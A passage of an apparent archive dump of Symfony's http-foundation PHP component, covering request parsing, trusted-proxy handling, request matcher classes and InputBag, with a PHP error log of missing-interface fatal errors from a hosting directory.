$acceptHeaderItem) { $lang = $acceptHeaderItem->getValue(); if (str_contains($lang, '-')) { $codes = explode('-', $lang); if ('i' === $codes[0]) { // Language not listed in ISO 639 that are not variants // of any listed language, which can be registered with the // i-prefix, such as i-cherokee if (\count($codes) > 1) { $lang = $codes[1]; } } else { for ($i = 0, $max = \count($codes); $i < $max; ++$i) { if (0 === $i) { $lang = strtolower($codes[0]); } else { $lang .= '_'.strtoupper($codes[$i]); } } } } $this->languages[] = $lang; } return $this->languages; } /** * Gets a list of charsets acceptable by the client browser in preferable order. * * @return string[] */ public function getCharsets(): array { if (null !== $this->charsets) { return $this->charsets; } return $this->charsets = array_map('strval', array_keys(AcceptHeader::fromString($this->headers->get('Accept-Charset'))->all())); } /** * Gets a list of encodings acceptable by the client browser in preferable order. * * @return string[] */ public function getEncodings(): array { if (null !== $this->encodings) { return $this->encodings; } return $this->encodings = array_map('strval', array_keys(AcceptHeader::fromString($this->headers->get('Accept-Encoding'))->all())); } /** * Gets a list of content types acceptable by the client browser in preferable order. * * @return string[] */ public function getAcceptableContentTypes(): array { if (null !== $this->acceptableContentTypes) { return $this->acceptableContentTypes; } return $this->acceptableContentTypes = array_map('strval', array_keys(AcceptHeader::fromString($this->headers->get('Accept'))->all())); } /** * Returns true if the request is an XMLHttpRequest. * * It works if your JavaScript library sets an X-Requested-With HTTP header. * It is known to work with common JavaScript frameworks: * * @see https://wikipedia.org/wiki/List_of_Ajax_frameworks#JavaScript */ public function isXmlHttpRequest(): bool { return 'XMLHttpRequest' == $this->headers->get('X-Requested-With'); } /** * Checks whether the client browser prefers safe content or not according to RFC8674. * * @see https://tools.ietf.org/html/rfc8674 */ public function preferSafeContent(): bool { if (isset($this->isSafeContentPreferred)) { return $this->isSafeContentPreferred; } if (!$this->isSecure()) { // see https://tools.ietf.org/html/rfc8674#section-3 return $this->isSafeContentPreferred = false; } return $this->isSafeContentPreferred = AcceptHeader::fromString($this->headers->get('Prefer'))->has('safe'); } /* * The following methods are derived from code of the Zend Framework (1.10dev - 2010-01-24) * * Code subject to the new BSD license (https://framework.zend.com/license). * * Copyright (c) 2005-2010 Zend Technologies USA Inc. (https://www.zend.com/) */ /** * @return string */ protected function prepareRequestUri() { $requestUri = ''; if ($this->isIisRewrite() && '' != $this->server->get('UNENCODED_URL')) { // IIS7 with URL Rewrite: make sure we get the unencoded URL (double slash problem) $requestUri = $this->server->get('UNENCODED_URL'); $this->server->remove('UNENCODED_URL'); } elseif ($this->server->has('REQUEST_URI')) { $requestUri = $this->server->get('REQUEST_URI'); if ('' !== $requestUri && '/' === $requestUri[0]) { // To only use path and query remove the fragment. if (false !== $pos = strpos($requestUri, '#')) { $requestUri = substr($requestUri, 0, $pos); } } else { // HTTP proxy reqs setup request URI with scheme and host [and port] + the URL path, // only use URL path. $uriComponents = parse_url($requestUri); if (isset($uriComponents['path'])) { $requestUri = $uriComponents['path']; } if (isset($uriComponents['query'])) { $requestUri .= '?'.$uriComponents['query']; } } } elseif ($this->server->has('ORIG_PATH_INFO')) { // IIS 5.0, PHP as CGI $requestUri = $this->server->get('ORIG_PATH_INFO'); if ('' != $this->server->get('QUERY_STRING')) { $requestUri .= '?'.$this->server->get('QUERY_STRING'); } $this->server->remove('ORIG_PATH_INFO'); } // normalize the request URI to ease creating sub-requests from this request $this->server->set('REQUEST_URI', $requestUri); return $requestUri; } /** * Prepares the base URL. */ protected function prepareBaseUrl(): string { $filename = basename($this->server->get('SCRIPT_FILENAME', '')); if (basename($this->server->get('SCRIPT_NAME', '')) === $filename) { $baseUrl = $this->server->get('SCRIPT_NAME'); } elseif (basename($this->server->get('PHP_SELF', '')) === $filename) { $baseUrl = $this->server->get('PHP_SELF'); } elseif (basename($this->server->get('ORIG_SCRIPT_NAME', '')) === $filename) { $baseUrl = $this->server->get('ORIG_SCRIPT_NAME'); // 1and1 shared hosting compatibility } else { // Backtrack up the script_filename to find the portion matching // php_self $path = $this->server->get('PHP_SELF', ''); $file = $this->server->get('SCRIPT_FILENAME', ''); $segs = explode('/', trim($file, '/')); $segs = array_reverse($segs); $index = 0; $last = \count($segs); $baseUrl = ''; do { $seg = $segs[$index]; $baseUrl = '/'.$seg.$baseUrl; ++$index; } while ($last > $index && (false !== $pos = strpos($path, $baseUrl)) && 0 != $pos); } // Does the baseUrl have anything in common with the request_uri? $requestUri = $this->getRequestUri(); if ('' !== $requestUri && '/' !== $requestUri[0]) { $requestUri = '/'.$requestUri; } if ($baseUrl && null !== $prefix = $this->getUrlencodedPrefix($requestUri, $baseUrl)) { // full $baseUrl matches return $prefix; } if ($baseUrl && null !== $prefix = $this->getUrlencodedPrefix($requestUri, rtrim(\dirname($baseUrl), '/'.\DIRECTORY_SEPARATOR).'/')) { // directory portion of $baseUrl matches return rtrim($prefix, '/'.\DIRECTORY_SEPARATOR); } $truncatedRequestUri = $requestUri; if (false !== $pos = strpos($requestUri, '?')) { $truncatedRequestUri = substr($requestUri, 0, $pos); } $basename = basename($baseUrl ?? ''); if (empty($basename) || !strpos(rawurldecode($truncatedRequestUri), $basename)) { // no match whatsoever; set it blank return ''; } // If using mod_rewrite or ISAPI_Rewrite strip the script filename // out of baseUrl. $pos !== 0 makes sure it is not matching a value // from PATH_INFO or QUERY_STRING if (\strlen($requestUri) >= \strlen($baseUrl) && (false !== $pos = strpos($requestUri, $baseUrl)) && 0 !== $pos) { $baseUrl = substr($requestUri, 0, $pos + \strlen($baseUrl)); } return rtrim($baseUrl, '/'.\DIRECTORY_SEPARATOR); } /** * Prepares the base path. */ protected function prepareBasePath(): string { $baseUrl = $this->getBaseUrl(); if (empty($baseUrl)) { return ''; } $filename = basename($this->server->get('SCRIPT_FILENAME')); if (basename($baseUrl) === $filename) { $basePath = \dirname($baseUrl); } else { $basePath = $baseUrl; } if ('\\' === \DIRECTORY_SEPARATOR) { $basePath = str_replace('\\', '/', $basePath); } return rtrim($basePath, '/'); } /** * Prepares the path info. */ protected function preparePathInfo(): string { if (null === ($requestUri = $this->getRequestUri())) { return '/'; } // Remove the query string from REQUEST_URI if (false !== $pos = strpos($requestUri, '?')) { $requestUri = substr($requestUri, 0, $pos); } if ('' !== $requestUri && '/' !== $requestUri[0]) { $requestUri = '/'.$requestUri; } if (null === ($baseUrl = $this->getBaseUrlReal())) { return $requestUri; } $pathInfo = substr($requestUri, \strlen($baseUrl)); if (false === $pathInfo || '' === $pathInfo) { // If substr() returns false then PATH_INFO is set to an empty string return '/'; } return $pathInfo; } /** * Initializes HTTP request formats. * * @return void */ protected static function initializeFormats() { static::$formats = [ 'html' => ['text/html', 'application/xhtml+xml'], 'txt' => ['text/plain'], 'js' => ['application/javascript', 'application/x-javascript', 'text/javascript'], 'css' => ['text/css'], 'json' => ['application/json', 'application/x-json'], 'jsonld' => ['application/ld+json'], 'xml' => ['text/xml', 'application/xml', 'application/x-xml'], 'rdf' => ['application/rdf+xml'], 'atom' => ['application/atom+xml'], 'rss' => ['application/rss+xml'], 'form' => ['application/x-www-form-urlencoded', 'multipart/form-data'], ]; } private function setPhpDefaultLocale(string $locale): void { // if either the class Locale doesn't exist, or an exception is thrown when // setting the default locale, the intl module is not installed, and // the call can be ignored: try { if (class_exists(\Locale::class, false)) { \Locale::setDefault($locale); } } catch (\Exception) { } } /** * Returns the prefix as encoded in the string when the string starts with * the given prefix, null otherwise. */ private function getUrlencodedPrefix(string $string, string $prefix): ?string { if ($this->isIisRewrite()) { // ISS with UrlRewriteModule might report SCRIPT_NAME/PHP_SELF with wrong case // see https://github.com/php/php-src/issues/11981 if (0 !== stripos(rawurldecode($string), $prefix)) { return null; } } elseif (!str_starts_with(rawurldecode($string), $prefix)) { return null; } $len = \strlen($prefix); if (preg_match(sprintf('#^(%%[[:xdigit:]]{2}|.){%d}#', $len), $string, $match)) { return $match[0]; } return null; } private static function createRequestFromFactory(array $query = [], array $request = [], array $attributes = [], array $cookies = [], array $files = [], array $server = [], $content = null): static { if (self::$requestFactory) { $request = (self::$requestFactory)($query, $request, $attributes, $cookies, $files, $server, $content); if (!$request instanceof self) { throw new \LogicException('The Request factory must return an instance of Symfony\Component\HttpFoundation\Request.'); } return $request; } return new static($query, $request, $attributes, $cookies, $files, $server, $content); } /** * Indicates whether this request originated from a trusted proxy. * * This can be useful to determine whether or not to trust the * contents of a proxy-specific header. */ public function isFromTrustedProxy(): bool { return self::$trustedProxies && IpUtils::checkIp($this->server->get('REMOTE_ADDR', ''), self::$trustedProxies); } private function getTrustedValues(int $type, string $ip = null): array { $clientValues = []; $forwardedValues = []; if ((self::$trustedHeaderSet & $type) && $this->headers->has(self::TRUSTED_HEADERS[$type])) { foreach (explode(',', $this->headers->get(self::TRUSTED_HEADERS[$type])) as $v) { $clientValues[] = (self::HEADER_X_FORWARDED_PORT === $type ? '0.0.0.0:' : '').trim($v); } } if ((self::$trustedHeaderSet & self::HEADER_FORWARDED) && (isset(self::FORWARDED_PARAMS[$type])) && $this->headers->has(self::TRUSTED_HEADERS[self::HEADER_FORWARDED])) { $forwarded = $this->headers->get(self::TRUSTED_HEADERS[self::HEADER_FORWARDED]); $parts = HeaderUtils::split($forwarded, ',;='); $forwardedValues = []; $param = self::FORWARDED_PARAMS[$type]; foreach ($parts as $subParts) { if (null === $v = HeaderUtils::combine($subParts)[$param] ?? null) { continue; } if (self::HEADER_X_FORWARDED_PORT === $type) { if (str_ends_with($v, ']') || false === $v = strrchr($v, ':')) { $v = $this->isSecure() ? ':443' : ':80'; } $v = '0.0.0.0'.$v; } $forwardedValues[] = $v; } } if (null !== $ip) { $clientValues = $this->normalizeAndFilterClientIps($clientValues, $ip); $forwardedValues = $this->normalizeAndFilterClientIps($forwardedValues, $ip); } if ($forwardedValues === $clientValues || !$clientValues) { return $forwardedValues; } if (!$forwardedValues) { return $clientValues; } if (!$this->isForwardedValid) { return null !== $ip ? ['0.0.0.0', $ip] : []; } $this->isForwardedValid = false; throw new ConflictingHeadersException(sprintf('The request has both a trusted "%s" header and a trusted "%s" header, conflicting with each other. You should either configure your proxy to remove one of them, or configure your project to distrust the offending one.', self::TRUSTED_HEADERS[self::HEADER_FORWARDED], self::TRUSTED_HEADERS[$type])); } private function normalizeAndFilterClientIps(array $clientIps, string $ip): array { if (!$clientIps) { return []; } $clientIps[] = $ip; // Complete the IP chain with the IP the request actually came from $firstTrustedIp = null; foreach ($clientIps as $key => $clientIp) { if (strpos($clientIp, '.')) { // Strip :port from IPv4 addresses. This is allowed in Forwarded // and may occur in X-Forwarded-For. $i = strpos($clientIp, ':'); if ($i) { $clientIps[$key] = $clientIp = substr($clientIp, 0, $i); } } elseif (str_starts_with($clientIp, '[')) { // Strip brackets and :port from IPv6 addresses. $i = strpos($clientIp, ']', 1); $clientIps[$key] = $clientIp = substr($clientIp, 1, $i - 1); } if (!filter_var($clientIp, \FILTER_VALIDATE_IP)) { unset($clientIps[$key]); continue; } if (IpUtils::checkIp($clientIp, self::$trustedProxies)) { unset($clientIps[$key]); // Fallback to this when the client IP falls into the range of trusted proxies $firstTrustedIp ??= $clientIp; } } // Now the IP chain contains only untrusted proxies and the client IP return $clientIps ? array_reverse($clientIps) : [$firstTrustedIp]; } /** * Is this IIS with UrlRewriteModule? * * This method consumes, caches and removed the IIS_WasUrlRewritten env var, * so we don't inherit it to sub-requests. */ private function isIisRewrite(): bool { if (1 === $this->server->getInt('IIS_WasUrlRewritten')) { $this->isIisRewrite = true; $this->server->remove('IIS_WasUrlRewritten'); } return $this->isIisRewrite; } } http-foundation/RequestMatcherInterface.php000064400000001155151113511500015150 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * RequestMatcherInterface is an interface for strategies to match a Request. * * @author Fabien Potencier */ interface RequestMatcherInterface { /** * Decides whether the rule(s) implemented by the strategy matches the supplied request. */ public function matches(Request $request): bool; } http-foundation/ExpressionRequestMatcher.php000064400000003674151113511500015417 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; use Symfony\Component\ExpressionLanguage\Expression; use Symfony\Component\ExpressionLanguage\ExpressionLanguage; use Symfony\Component\HttpFoundation\RequestMatcher\ExpressionRequestMatcher as NewExpressionRequestMatcher; trigger_deprecation('symfony/http-foundation', '6.2', 'The "%s" class is deprecated, use "%s" instead.', ExpressionRequestMatcher::class, NewExpressionRequestMatcher::class); /** * ExpressionRequestMatcher uses an expression to match a Request. * * @author Fabien Potencier * * @deprecated since Symfony 6.2, use "Symfony\Component\HttpFoundation\RequestMatcher\ExpressionRequestMatcher" instead */ class ExpressionRequestMatcher extends RequestMatcher { private ExpressionLanguage $language; private Expression|string $expression; /** * @return void */ public function setExpression(ExpressionLanguage $language, Expression|string $expression) { $this->language = $language; $this->expression = $expression; } public function matches(Request $request): bool { if (!isset($this->language)) { throw new \LogicException('Unable to match the request as the expression language is not available. Try running "composer require symfony/expression-language".'); } return $this->language->evaluate($this->expression, [ 'request' => $request, 'method' => $request->getMethod(), 'path' => rawurldecode($request->getPathInfo()), 'host' => $request->getHost(), 'ip' => $request->getClientIp(), 'attributes' => $request->attributes->all(), ]) && parent::matches($request); } } http-foundation/RequestMatcher/PathRequestMatcher.php000064400000001463151113511500017102 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\RequestMatcher; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestMatcherInterface; /** * Checks the Request URL path info matches a regular expression. * * @author Fabien Potencier */ class PathRequestMatcher implements RequestMatcherInterface { public function __construct(private string $regexp) { } public function matches(Request $request): bool { return preg_match('{'.$this->regexp.'}', rawurldecode($request->getPathInfo())); } } http-foundation/RequestMatcher/IpsRequestMatcher.php000064400000002365151113511500016743 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\RequestMatcher; use Symfony\Component\HttpFoundation\IpUtils; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestMatcherInterface; /** * Checks the client IP of a Request. * * @author Fabien Potencier */ class IpsRequestMatcher implements RequestMatcherInterface { private array $ips; /** * @param string[]|string $ips A specific IP address or a range specified using IP/netmask like 192.168.1.0/24 * Strings can contain a comma-delimited list of IPs/ranges */ public function __construct(array|string $ips) { $this->ips = array_reduce((array) $ips, static fn (array $ips, string $ip) => array_merge($ips, preg_split('/\s*,\s*/', $ip)), []); } public function matches(Request $request): bool { if (!$this->ips) { return true; } return IpUtils::checkIp($request->getClientIp() ?? '', $this->ips); } } http-foundation/RequestMatcher/SchemeRequestMatcher.php000064400000002374151113511500017414 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\RequestMatcher; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestMatcherInterface; /** * Checks the HTTP scheme of a Request. * * @author Fabien Potencier */ class SchemeRequestMatcher implements RequestMatcherInterface { /** * @var string[] */ private array $schemes; /** * @param string[]|string $schemes A scheme or a list of schemes * Strings can contain a comma-delimited list of schemes */ public function __construct(array|string $schemes) { $this->schemes = array_reduce(array_map('strtolower', (array) $schemes), static fn (array $schemes, string $scheme) => array_merge($schemes, preg_split('/\s*,\s*/', $scheme)), []); } public function matches(Request $request): bool { if (!$this->schemes) { return true; } return \in_array($request->getScheme(), $this->schemes, true); } } http-foundation/RequestMatcher/IsJsonRequestMatcher.php000064400000001270151113511500017407 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\RequestMatcher; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestMatcherInterface; /** * Checks the Request content is valid JSON. * * @author Fabien Potencier */ class IsJsonRequestMatcher implements RequestMatcherInterface { public function matches(Request $request): bool { return json_validate($request->getContent()); } } http-foundation/RequestMatcher/ExpressionRequestMatcher.php000064400000002405151113511500020342 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\RequestMatcher; use Symfony\Component\ExpressionLanguage\Expression; use Symfony\Component\ExpressionLanguage\ExpressionLanguage; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestMatcherInterface; /** * ExpressionRequestMatcher uses an expression to match a Request. * * @author Fabien Potencier */ class ExpressionRequestMatcher implements RequestMatcherInterface { public function __construct( private ExpressionLanguage $language, private Expression|string $expression, ) { } public function matches(Request $request): bool { return $this->language->evaluate($this->expression, [ 'request' => $request, 'method' => $request->getMethod(), 'path' => rawurldecode($request->getPathInfo()), 'host' => $request->getHost(), 'ip' => $request->getClientIp(), 'attributes' => $request->attributes->all(), ]); } } http-foundation/RequestMatcher/PortRequestMatcher.php000064400000001355151113511500017132 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\RequestMatcher; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestMatcherInterface; /** * Checks the HTTP port of a Request. * * @author Fabien Potencier */ class PortRequestMatcher implements RequestMatcherInterface { public function __construct(private int $port) { } public function matches(Request $request): bool { return $request->getPort() === $this->port; } } http-foundation/RequestMatcher/error_log000064400000015320151113511500014532 0ustar00[25-Nov-2025 02:55:38 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/IsJsonRequestMatcher.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/IsJsonRequestMatcher.php on line 22 [25-Nov-2025 02:56:49 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/PathRequestMatcher.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/PathRequestMatcher.php on line 22 [25-Nov-2025 03:00:25 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/IpsRequestMatcher.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/IpsRequestMatcher.php on line 23 [25-Nov-2025 03:01:50 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/MethodRequestMatcher.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/MethodRequestMatcher.php on line 22 [25-Nov-2025 03:31:53 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/HostRequestMatcher.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/HostRequestMatcher.php on line 22 [25-Nov-2025 04:29:22 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/ExpressionRequestMatcher.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/ExpressionRequestMatcher.php on line 24 [25-Nov-2025 04:32:47 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/SchemeRequestMatcher.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/SchemeRequestMatcher.php on line 22 [25-Nov-2025 05:29:23 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/AttributesRequestMatcher.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/AttributesRequestMatcher.php on line 22 [25-Nov-2025 05:31:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/PortRequestMatcher.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/PortRequestMatcher.php on line 22 [25-Nov-2025 23:08:15 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/PathRequestMatcher.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/PathRequestMatcher.php on line 22 [26-Nov-2025 01:32:13 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/IsJsonRequestMatcher.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/IsJsonRequestMatcher.php on line 22 [26-Nov-2025 01:37:14 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/IpsRequestMatcher.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/IpsRequestMatcher.php on line 23 [26-Nov-2025 01:52:11 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/SchemeRequestMatcher.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/SchemeRequestMatcher.php on line 22 [26-Nov-2025 01:53:26 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/HostRequestMatcher.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/HostRequestMatcher.php on line 22 [26-Nov-2025 01:56:27 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/ExpressionRequestMatcher.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/ExpressionRequestMatcher.php on line 24 [26-Nov-2025 02:06:34 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/AttributesRequestMatcher.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/AttributesRequestMatcher.php on line 22 [26-Nov-2025 02:07:27 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/PortRequestMatcher.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher/PortRequestMatcher.php on line 22 http-foundation/RequestMatcher/HostRequestMatcher.php000064400000001442151113511500017120 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\RequestMatcher; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestMatcherInterface; /** * Checks the Request URL host name matches a regular expression. * * @author Fabien Potencier */ class HostRequestMatcher implements RequestMatcherInterface { public function __construct(private string $regexp) { } public function matches(Request $request): bool { return preg_match('{'.$this->regexp.'}i', $request->getHost()); } } http-foundation/RequestMatcher/AttributesRequestMatcher.php000064400000002154151113511500020332 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\RequestMatcher; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestMatcherInterface; /** * Checks the Request attributes matches all regular expressions. * * @author Fabien Potencier */ class AttributesRequestMatcher implements RequestMatcherInterface { /** * @param array $regexps */ public function __construct(private array $regexps) { } public function matches(Request $request): bool { foreach ($this->regexps as $key => $regexp) { $attribute = $request->attributes->get($key); if (!\is_string($attribute)) { return false; } if (!preg_match('{'.$regexp.'}', $attribute)) { return false; } } return true; } } http-foundation/RequestMatcher/MethodRequestMatcher.php000064400000002416151113511500017425 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\RequestMatcher; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestMatcherInterface; /** * Checks the HTTP method of a Request. * * @author Fabien Potencier */ class MethodRequestMatcher implements RequestMatcherInterface { /** * @var string[] */ private array $methods = []; /** * @param string[]|string $methods An HTTP method or an array of HTTP methods * Strings can contain a comma-delimited list of methods */ public function __construct(array|string $methods) { $this->methods = array_reduce(array_map('strtoupper', (array) $methods), static fn (array $methods, string $method) => array_merge($methods, preg_split('/\s*,\s*/', $method)), []); } public function matches(Request $request): bool { if (!$this->methods) { return true; } return \in_array($request->getMethod(), $this->methods, true); } } http-foundation/InputBag.php000064400000011703151113511500012104 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; use Symfony\Component\HttpFoundation\Exception\BadRequestException; /** * InputBag is a container for user input values such as $_GET, $_POST, $_REQUEST, and $_COOKIE. * * @author Saif Eddin Gmati */ final class InputBag extends ParameterBag { /** * Returns a scalar input value by name. * * @param string|int|float|bool|null $default The default value if the input key does not exist */ public function get(string $key, mixed $default = null): string|int|float|bool|null { if (null !== $default && !\is_scalar($default) && !$default instanceof \Stringable) { throw new \InvalidArgumentException(sprintf('Expected a scalar value as a 2nd argument to "%s()", "%s" given.', __METHOD__, get_debug_type($default))); } $value = parent::get($key, $this); if (null !== $value && $this !== $value && !\is_scalar($value) && !$value instanceof \Stringable) { throw new BadRequestException(sprintf('Input value "%s" contains a non-scalar value.', $key)); } return $this === $value ? $default : $value; } /** * Replaces the current input values by a new set. */ public function replace(array $inputs = []): void { $this->parameters = []; $this->add($inputs); } /** * Adds input values. */ public function add(array $inputs = []): void { foreach ($inputs as $input => $value) { $this->set($input, $value); } } /** * Sets an input by name. * * @param string|int|float|bool|array|null $value */ public function set(string $key, mixed $value): void { if (null !== $value && !\is_scalar($value) && !\is_array($value) && !$value instanceof \Stringable) { throw new \InvalidArgumentException(sprintf('Expected a scalar, or an array as a 2nd argument to "%s()", "%s" given.', __METHOD__, get_debug_type($value))); } $this->parameters[$key] = $value; } /** * Returns the parameter value converted to an enum. * * @template T of \BackedEnum * * @param class-string $class * @param ?T $default * * @return ?T */ public function getEnum(string $key, string $class, \BackedEnum $default = null): ?\BackedEnum { try { return parent::getEnum($key, $class, $default); } catch (\UnexpectedValueException $e) { throw new BadRequestException($e->getMessage(), $e->getCode(), $e); } } /** * Returns the parameter value converted to string. */ public function getString(string $key, string $default = ''): string { // Shortcuts the parent method because the validation on scalar is already done in get(). return (string) $this->get($key, $default); } public function filter(string $key, mixed $default = null, int $filter = \FILTER_DEFAULT, mixed $options = []): mixed { $value = $this->has($key) ? $this->all()[$key] : $default; // Always turn $options into an array - this allows filter_var option shortcuts. if (!\is_array($options) && $options) { $options = ['flags' => $options]; } if (\is_array($value) && !(($options['flags'] ?? 0) & (\FILTER_REQUIRE_ARRAY | \FILTER_FORCE_ARRAY))) { throw new BadRequestException(sprintf('Input value "%s" contains an array, but "FILTER_REQUIRE_ARRAY" or "FILTER_FORCE_ARRAY" flags were not set.', $key)); } if ((\FILTER_CALLBACK & $filter) && !(($options['options'] ?? null) instanceof \Closure)) { throw new \InvalidArgumentException(sprintf('A Closure must be passed to "%s()" when FILTER_CALLBACK is used, "%s" given.', __METHOD__, get_debug_type($options['options'] ?? null))); } $options['flags'] ??= 0; $nullOnFailure = $options['flags'] & \FILTER_NULL_ON_FAILURE; $options['flags'] |= \FILTER_NULL_ON_FAILURE; $value = filter_var($value, $filter, $options); if (null !== $value || $nullOnFailure) { return $value; } $method = debug_backtrace(\DEBUG_BACKTRACE_IGNORE_ARGS | \DEBUG_BACKTRACE_PROVIDE_OBJECT, 2)[1]; $method = ($method['object'] ?? null) === $this ? $method['function'] : 'filter'; $hint = 'filter' === $method ? 'pass' : 'use method "filter()" with'; trigger_deprecation('symfony/http-foundation', '6.3', 'Ignoring invalid values when using "%s::%s(\'%s\')" is deprecated and will throw a "%s" in 7.0; '.$hint.' flag "FILTER_NULL_ON_FAILURE" to keep ignoring them.', $this::class, $method, $key, BadRequestException::class); return false; } } http-foundation/ServerBag.php000064400000007631151113511500012260 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * ServerBag is a container for 